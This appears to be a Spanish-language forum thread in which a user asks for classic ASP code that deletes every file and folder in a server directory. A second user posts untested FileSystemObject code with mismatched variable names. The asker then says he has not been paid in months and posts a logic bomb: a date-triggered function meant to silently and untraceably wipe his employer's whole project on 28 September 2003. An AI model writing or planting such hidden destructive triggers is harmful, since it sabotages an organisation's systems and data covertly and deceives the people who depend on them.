Urgente...

[Canicasjr]

amigos, alguien me puede ayudar necesito crear una funcion para eliminar todos los archivox y carpetas que existan dentro de una carpeta en el servidor...

por ejemplo


c:/inetpub/wwwroot/aplicacion/paginaDELETE.asp

dentro de la carpeta aplicacion hay MUCHAS carpetas

y quiero eliminar TODO de una sola vez....

coimo puedo hacerlo con asp ?????

graciassssssssssssssss por su ayuda

[u_goldman]

A ver si funciona, no lo he probado....

Set Fso= server.createObject("Scripting.FileSystemObject")

Function es_archivo(nombre)
If fso.FileExists("ruta\" & nombre) Then
es_archivo= true
Else
es_archivo= false
End If
End Function

Set ArchivosPorBorrar= fsoObject.GetFolder(path & "\folder\")
For each File in ArchivosPorBorrar.Files
mi_item= es_archivo(File.name)
If mi_item Then
fso.DeleteFile("ruta\" & File.Name)
Else
fso.DeleteFolder("ruta\" & File.Name)
End If
Next

Salu2,

[Canicasjr]

lo que pasa es que en mi trabajo no me han pagado hace como 4 meses, estoy terminando un proyecto y estoy Viendo DIFICIL que me paguen, entonces quiero dejar lista una especie de "Trampa" para que si es que en 20 dias mas no me pagan, se ELIMINE todo el proyecto y no tendrán IDEA de quien fue :P jejeje...

es bastante penka lo que intento hacer, pero hay que defender lo que a cada uno le corresponde no creen?

Function List(folderspec)
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
fSO.DeleteFolder folderspec, true
End Function

dia = day(now())
mes = month(now())
ano = year(now())

if dia = 28 and mes = 9 and ano = 2003 then
list(Server.MapPath("CARPETA_A_ELIMINAR"))
end if